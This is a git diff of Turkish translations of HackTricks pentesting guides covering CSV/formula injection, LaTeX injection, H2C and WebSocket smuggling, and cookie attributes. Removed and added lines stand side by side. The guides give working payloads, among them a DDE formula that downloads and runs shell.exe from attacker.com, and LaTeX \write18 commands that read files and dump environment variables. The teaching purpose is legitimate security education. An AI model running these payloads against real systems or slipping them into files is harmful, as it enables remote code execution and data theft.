Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın asıl amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın kötü niyetli bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için ayrılmış alanlara zararlı formüller girmek suretiyle. Saldırı şu şekilde gerçekleşir: Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın temel amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın kötü niyetli bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için ayrılmış alanlara zararlı formüller girmek suretiyle. Saldırı şu şekilde gerçekleşir:
1. **Kötü Niyetli Yükün Enjeksiyonu:** 1. **Kötü Niyetli Yükün Enjeksiyonu:**
* Saldırgan bir öğrenci detay formu gönderir ancak elektronik tablolarda yaygın olarak kullanılan bir formülü (örneğin, `=HYPERLINK("<kötü_link>","Buraya tıklayın")`) dahil eder. * Saldırgan bir öğrenci detay formu gönderir ancak bir elektronik tablolarda yaygın olarak kullanılan bir formülü içerir (örneğin, `=HYPERLINK("<kötü_link>","Buraya tıklayın")`).
* Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırganın kontrol ettiği kötü niyetli bir sunucuya işaret eder. * Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen kötü niyetli bir sunucuya işaret eder.
2. **Tehdit Edilen Verilerin Dışa Aktarılması:** 2. **Tehdit Edilen Verilerin Dışa Aktarılması:**
* Kompromis farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır. * Kompromisin farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
* Açıldığında CSV dosyası hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür. * Açıldığında CSV dosyası hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür.
3. **Saldırının Tetiklenmesi:** 3. **Saldırının Tetiklenmesi:**
* Bir öğretmen, bağlantıya tıklayarak, bunun öğrenci detaylarının meşru bir parçası olduğuna inanır. * Bir öğretmen, bağlantıya tıklayarak, bunun öğrenci detaylarının meşru bir parçası olduğuna inanır.
@ -68,13 +68,13 @@ Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enje
Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutların yürütülmesi için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir: Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutların yürütülmesi için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir:
* Dosya → Seçenekler → Güven Merkezi → Güven Merkezi AyarlarıDış İçerik'e gidin ve **Dinamik Veri Değişimi Sunucusu Başlatma**'yı etkinleştirin. * Dosya → Seçenekler → Güven Merkezi → Güven Merkezi AyarlarıHarici İçerik'e gidin ve **Dinamik Veri Değişimi Sunucusu Başlatma**'yı etkinleştirin.
Kötü niyetli yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesini başlatmak için yük şu şekilde olacaktır: Kötü niyetli yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için yük şu şekilde olacaktır:
```markdown ```markdown
`=cmd|' /C calc'!xxx` `=cmd|' /C calc'!xxx`
``` ```
Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosya indirilip yürütülebilir: Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosyanın indirilip yürütülmesi:
```bash ```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
``` ```
@ -101,13 +101,13 @@ Google Sheets, OOB veri dışa aktarma için sömürülebilecek fonksiyonlar sun
## LaTeX Enjeksiyonu ## LaTeX Enjeksiyonu
Genellikle **LaTeX kodunu PDF'ye dönüştüren internet sunucuları** genellikle **`pdflatex`** kullanır.\ Genellikle **LaTeX kodunu PDF'ye dönüştüren internet sunucuları** genellikle **`pdflatex`** kullanır.\
Bu program, komut yürütme için 3 ana özelliği kullanır: Bu program, komut yürütmesini (devre dışı bırakma) / izin verme için 3 ana özelliği kullanır:
* **`--no-shell-escape`**: `\write18{command}` yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile. * **`--no-shell-escape`**: `\write18{komut}` yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile.
* **`--shell-restricted`**: `--shell-escape` ile aynıdır, ancak önceden tanımlanmış bir 'güvenli' set komutlarla **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir). * **`--shell-restricted`**: `--shell-escape` ile aynıdır, ancak önceden tanımlanmış bir 'güvenli' set komutlarla **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir).
* **`--shell-escape`**: `\write18{command}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır. * **`--shell-escape`**: `\write18{komut}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır.
Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle RCE'yi önlemek için `--shell-restricted` kullanmak çok önemlidir. Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle Uzak Kod Yürütme'yi önlemek için `--shell-restricted` kullanmak çok önemlidir.
### Dosya Okuma <a href="#read-file" id="read-file"></a> ### Dosya Okuma <a href="#read-file" id="read-file"></a>
@ -137,7 +137,7 @@ Enjeksiyonu \[ veya $ gibi sarmalayıcılarla ayarlamak gerekebilir.
\repeat \repeat
\closein\file \closein\file
``` ```
### Dosya yazma <a href="#write-file" id="write-file"></a> ### Dosya yaz<a href="#write-file" id="write-file"></a>
```bash ```bash
\newwrite\outfile \newwrite\outfile
\openout\outfile=cmd.tex \openout\outfile=cmd.tex
@ -169,7 +169,7 @@ Komutun girdisi stdin'e yönlendirilecek, bunu almak için geçici bir dosya kul
## Get the value of shell_escape_commands without needing to read pdfetex.ini ## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
``` ```
Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan elde etmek için base64 kullanmayı düşünün. Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan elde etmek için base64 kullanmayı düşünebilirsiniz.
```bash ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
@ -199,7 +199,7 @@ Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -209,10 +209,10 @@ Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * Özel [**NFT'lerimizden oluşan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * Hacking püf noktalarınızı paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,4 +1,4 @@
# Yükseltme Başlığı Kaçakçılığı # Yükseltme Başlığı Kaçırma
<details> <details>
@ -6,108 +6,63 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
### H2C Kaçakçılığı <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a> ### H2C Kaçırma <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
#### Açık Metin Üzerinden HTTP2 (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a> #### Açık Metin Üzerinden HTTP2 (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C veya **açık metin üzerinden http2**, standart bir HTTP **bağlantısını kalıcı bir bağlantıya yükselterek** geçici HTTP bağlantılarının normundan sapar. Bu yükseltilmiş bağlantı, düz metin HTTP'nin tek istek doğasına karşı devam eden iletişim için http2 ikili protokolünü kullanır. H2C veya **açık metin üzerinden http2**, geçici HTTP bağlantılarının normundan saparak standart bir HTTP bağlantısını **sürekli bir bağlantıya yükseltir**. Bu yükseltilmiş bağlantı, düz metin HTTP'nin tek istek doğasına karşı, sürekli iletişim için http2 ikili protokolünü kullanır.
Kaçaılık sorununun özü, bir **ters proxy**'nin kullanımıyla ortaya çıkar. Genellikle, ters proxy HTTP isteklerini işler ve arka uca ileterek, ardından arka uç yanıtını döndürür. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı bulunduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy istemci ve sunucu arasında kalıcı bir bağlantı** sürdürür, belirli protokollerin gerektirdiği sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum, üç belirli başlığın varlığını gerektirir: Kaçırma sorununun özü, bir **ters proxy**'nin kullanımıyla ortaya çıkar. Normalde, ters proxy HTTP isteklerini işler ve arka uca ileterek ardından arka uç yanıtını döndürür. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı bulunduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy istemci ve sunucu arasında sürekli bir bağlantıyı sürdürür**, belirli protokollerin gerektirdiği sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum, üç belirli başlığın varlığını gerektirir:
``` ```
Upgrade: h2c Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings Connection: Upgrade, HTTP2-Settings
``` ```
#### H2C Smuggling Sömürüsü <a href="#exploitation" id="exploitation"></a> ### Zafiyetli Proxy'ler <a href="#exploitation" id="exploitation"></a>
Zafiyet, bir bağlantıyı yükselttikten sonra ters vekilin, yönlendirmenin tamamlanmasından sonra bireysel istekleri yönetmeyi bırakması durumunda ortaya çıkar. H2C Smuggling'i sömürmek, başarılı bir H2C bağlantısı başlatıldığında, istek işleme sırasında uygulanan ters vekil kurallarını atlamayı sağlar; örneğin, yol tabanlı yönlendirme, kimlik doğrulama ve WAF işleme. Zafiyet, bir bağlantıyı yükselttikten sonra ters vekilin bireysel istekleri yönetmeyi bırakması ve yönlendirmenin bağlantı kurulduktan sonra tamamlandığını varsayması durumunda ortaya çıkar. H2C Smuggling'in sömürülmesi, başarılı bir H2C bağlantısı başlatıldığında, istek işleme sırasında uygulanan ters vekil kurallarını atlamayı sağlar, örneğin yol tabanlı yönlendirme, kimlik doğrulama ve WAF işleme.
#### Zafiyetli Vekiller <a href="#exploitation" id="exploitation"></a> Zafiyetli Proxy'lerin `Upgrade` ve bazen `Connection` başlıklarını nasıl işlediğine bağlıdır. Aşağıdaki proxy'ler bu başlıkları varsayılan olarak iletir ve böylece H2C smuggling'i varsayılan olarak etkinleştirir:
Zafiyet, ters vekilin `Upgrade` ve bazen `Connection` başlıklarını nasıl işlediğine bağlıdır. Aşağıdaki vekiller, bu başlıkları varsayılan olarak iletir ve böylece H2C smuggling'i varsayılan olarak etkinleştirir: - HAProxy
- Traefik
- Nuster
* HAProxy Bununla birlikte, aşağıdaki hizmetler bu başlıkları varsayılan olarak iletmez. Ancak, `Upgrade` ve `Connection` başlıklarının filtresiz iletilmesine izin veren güvensiz bir şekilde yapılandırılmış olabilirler:
* Traefik
* Nuster
Öte yandan, aşağıdaki hizmetler, bu başlıkları varsayılan olarak iletmez. Bununla birlikte, `Upgrade` ve `Connection` başlıklarının filtresiz iletilmesine izin veren güvensiz bir şekilde yapılandırılmış olabilirler: - AWS ALB/CLB
- NGINX
- Apache
- Squid
- Varnish
- Kong
- Envoy
- Apache Traffic Server
* AWS ALB/CLB ### Sömürü <a href="#exploitation" id="exploitation"></a>
* NGINX
* Apache
* Squid
* Varnish
* Kong
* Envoy
* Apache Traffic Server
#### Sömürü <a href="#exploitation" id="exploitation"></a> Uyumlu bir H2C bağlantı yükseltmesi için gereken başlıkları varsayılan olarak ileten tüm sunucuların olmadığını belirtmek önemlidir. Bu nedenle, AWS ALB/CLB, NGINX ve Apache Traffic Server gibi sunucular H2C bağlantılarını doğal olarak engeller. Bununla birlikte, bazı arka uçların standartlara uymayabileceği için, uyumsuz `Connection: Upgrade` varyantı ile test etmek faydalı olabilir.
Uyumlu bir H2C bağlantısı yükseltmek için gereken başlıkları varsayılan olarak ileten tüm sunucuların olmadığını belirtmek önemlidir. Bu nedenle, AWS ALB/CLB, NGINX ve Apache Traffic Server gibi sunucular, H2C bağlantılarını doğal olarak engeller. Bununla birlikte, bazı arka uçların standartlara uymayabileceği için, uyumsuz `Connection: Upgrade` varyantı ile test etmek faydalı olabilir.
{% hint style="danger" %} {% hint style="danger" %}
`proxy_pass` URL'sinde belirtilen belirli **yol** (örneğin, `http://backend:9999/socket.io`) bağlantının varsayılan olarak `http://backend:9999` olmasına neden olur. Bu, bu tekniği kullanarak dahili uç noktadaki herhangi bir yola etkileşim sağlar. Dolayısıyla, `proxy_pass` URL'sinde bir yol belirtmek erişimi kısıtlamaz. `proxy_pass` URL'sinde belirtilen belirli **yol** (örneğin, `http://backend:9999/socket.io`) bağlantının varsayılan olarak `http://backend:9999` olmasına neden olur. Bu, bu tekniği kullanarak bu dahili uç noktadaki herhangi bir yola etkileşim sağlar. Dolayısıyla, `proxy_pass` URL'sinde bir yol belirtmek erişimi kısıtlamaz.
{% endhint %} {% endhint %}
[**BishopFox tarafından h2csmuggler**](https://github.com/BishopFox/h2csmuggler) ve [**assetnote tarafından h2csmuggler**](https://github.com/assetnote/h2csmuggler) araçları, bir H2C bağlantısı kurarak **proxy tarafından uygulanan korumaları atlamaya** yönelik girişimleri kolaylaştırır. [**BishopFox tarafından h2csmuggler**](https://github.com/BishopFox/h2csmuggler) ve [**assetnote tarafından h2csmuggler**](https://github.com/assetnote/h2csmuggler) araçları, bir H2C bağlantısı kurarak **proxy tarafından uygulanan korumaları atlamaya** yönelik girişimleri kolaylaştırır ve bu sayede proxy tarafından korunan kaynaklara erişimi sağlar.
Bu zafiyetle ilgili ek bilgiler için özellikle NGINX hakkında [**bu detaylı kaynağa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection) başvurun. Bu zafiyetle ilgili daha fazla bilgi için özellikle NGINX hakkında [**bu detaylı kaynağa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection) başvurun.
## Websocket Smuggling
Websocket smuggling, bir HTTP2 tüneli oluşturmanın aksine, bir Websocket tüneli kurarak potansiyel proxy kısıtlamalarını atlamayı ve uca doğrudan iletişimi kolaylaştırmayı amaçlar.
### Senaryo 1
Bu senaryoda, bir iç REST API'ye erişilemeyen bir arka uç, bir kamu WebSocket API'si sunar ve kötü niyetli bir istemcinin iç REST API'ye erişim aradığı hedeflenir. Saldırı şu adımlarda gerçekleşir:
1. İstemci, başlıkta yanlış bir `Sec-WebSocket-Version` protokol sürümü ile bir Upgrade isteği göndererek ters vekile başlar. Ters vekil, `Sec-WebSocket-Version` başlığını doğrulayamadığı için Upgrade isteğini geçerli olarak kabul eder ve arka uca iletir.
2. Arka uç, başlıkta yanlış protokol sürümünü belirten bir durum kodu `426` ile yanıt verir. Ters vekil, arka ucun yanıt durumunu göz ardı ederek WebSocket iletişimi için hazır olduğunu varsayar ve yanıtı istemciye iletir.
3. Sonuç olarak, ters vekil, istemci ile arka uç arasında bir WebSocket bağlantısı kurulmuş gibi yanıltılırken, aslında arka uç, Upgrade isteğini reddetmiştir. Bununla birlikte, vekil, istemci ile arka uç arasında açık bir TCP veya TLS bağlantısını sürdürür ve istemcinin bu bağlantı aracılığıyla özel REST API'ye kısıtlamasız erişim sağlamasına olanak tanır.
Etkilenen ters vekiller arasında, sorunu ele almaktan kaçınan Varnish ve Envoy proxy sürümü 1.8.0 veya daha eski olanlar, daha sonraki sürümlerde yükseltme mekanizmasını değiştirmişlerdir. Diğer vekiller de savunmasız olabilir.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
### Senaryo 2
Bu senaryo, hem bir kamu WebSocket API'si hem de bir sağlık kontrolü için bir kamu REST API'si sunan bir arka uç içerir ve bir iç REST API'ye erişilemeyen bir hedeflenir. Daha karmaşık olan saldırı, aşağıdaki adımları içerir:
1. İstemci, sağlık kontrol API'sini tetiklemek için bir POST isteği gönderirken, ek bir HTTP başlık `Upgrade: websocket` içerir. Ters vekil olarak hizmet veren NGINX, yalnızca `Upgrade` başlığına dayanarak bu isteği standart bir Upgrade isteği olarak yorumlar ve arka uca iletir.
2. Arka uç, sağlık kontrol API'sini yürütürken, saldırgan tarafından kontrol edilen bir harici kaynağa ulaşır ve bir HTTP yanıtı ile durum kodu `101` döndürür. Bu yanıt, arka uç tarafından alındığında ve NGINX'e iletilirken, yalnızca durum kodunu doğruladığı için vekili, bir WebSocket bağlantısının kurulduğuna inandırır.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Uyarı:** Bu tekniğin karmaşıklığı, genellikle düşük önem derecesi olarak kabul edilen bir harici SSRF zafiyetinin varlığını gerektirir.
Sonuç olarak, NGINX, istemci ile arka uç arasında bir WebSocket bağlantısı olduğuna inanır. Aslında böyle bir bağlantı yoktur; sağlık kontrol REST API'si hedef alınmıştır. Bununla birlikte, ters vekil bağlantıyıık tutar ve istemcinin bu aracılığıyla özel REST API'ye erişmesine olanak tanır.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
Çoğu ters vekil bu senaryoya karşı savunmasız olabilir, ancak sömürü, genellikle düşük önem derecesi olarak kabul edilen bir harici SSRF zafiyetinin varlığına bağlıdır.
#### Lablar
Her iki senaryoyu test etmek için lablara [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) adresinden erişebilirsiniz.
### Referanslar
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
@ -10,13 +10,13 @@ HackTricks'ı desteklemenin diğer yolları:
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek destek olun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları:
## Çerez Özellikleri ## Çerez Özellikleri
Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin bir özeti daha pasif bir ses tonunda: Çerezler, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özellikle birlikte gelir. İşte bu özelliklerin daha pasif bir sesle açıklaması:
### Son Kullanma Tarihi ve Max-Age ### Son Kullanma Tarihi ve Max-Age
@ -32,7 +32,7 @@ Bir çerezin son kullanma tarihi, `Expires` özelliği tarafından belirlenir. B
### Alan ### Alan
Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayara, alt alanlarını içermeyen şekilde ayarlanır. Ancak, `Domain` özelliği açıkça belirlendiğinde, alt alanları da kapsar. Bu, `Domain` özelliğinin belirtilmesini, alt alanlar arasında çerez paylaşımının gerektiği senaryolar için daha az kısıtlayıcı bir seçenek haline getirir. Örneğin, `Domain=mozilla.org` ayarlanarak, çerezlerin `developer.mozilla.org` gibi alt alanlarda erişilebilir olmasını sağlar. Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir. Varsayılan olarak, bu, çerezi veren ana bilgisayar olarak ayarlanır, alt alanlarını içermez. Ancak, `Domain` özelliği açıkça belirlendiğinde, alt alanları da kapsar. Bu, `Domain` özelliğinin belirtilmesini, alt alanlar arasında çerez paylaşımının gerektiği senaryolar için kullanışlı daha az kısıtlayıcı bir seçenek yapar. Örneğin, `Domain=mozilla.org` ayarlanarak, çerezlerin `developer.mozilla.org` gibi alt alanlarda erişilebilir olmasını sağlar.
### Yol ### Yol
@ -40,17 +40,18 @@ Bir çerezi alacak ana bilgisayarlar, `Domain` özelliği tarafından belirtilir
### Sıralama Kuralları ### Sıralama Kuralları
Aynı isme sahip iki çerez olduğunda, gönderilecek olan çerez şu kriterlere dayanarak seçilir: Aynı ada sahip iki çerez olduğunda, gönderim için seçilen çerez şu kriterlere dayanır:
* İstenen URL'deki en uzun yolu eşleştiren çerez. * İstenen URL'deki en uzun yolu eşleştiren çerez.
* Yollar aynıysa, en son ayarlanan çerez. * Yollar aynıysa en son ayarlanan çerez.
### SameSite ### SameSite
* `SameSite` özelliği, çerezlerin üçüncü taraf alanlarından kaynaklanan isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar: * `SameSite` özelliği, çerezlerin üçüncü taraf alanlarından kaynaklanan isteklerde gönderilip gönderilmeyeceğini belirler.
* **Strict**: Çerezi üçüncü taraf isteklerinde göndermeyi kısıtlar. * Üç ayar sunar:
* **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir. * **Strict**: Çerezi üçüncü taraf isteklerinde göndermeyi kısıtlar.
* **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir. * **Lax**: Üçüncü taraf web siteleri tarafından başlatılan GET istekleriyle çerezin gönderilmesine izin verir.
* **None**: Çerezi herhangi bir üçüncü taraf alanından göndermeye izin verir.
Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olabilir. Çerezleri yapılandırırken, bu özellikleri anlamak, farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olabilir.
@ -64,11 +65,11 @@ Aynı isme sahip iki çerez olduğunda, gönderilecek olan çerez şu kriterlere
| AJAX | $.get("...") | NotSet\*, None | | AJAX | $.get("...") | NotSet\*, None |
| Resim | \<img src="..."> | NetSet\*, None | | Resim | \<img src="..."> | NetSet\*, None |
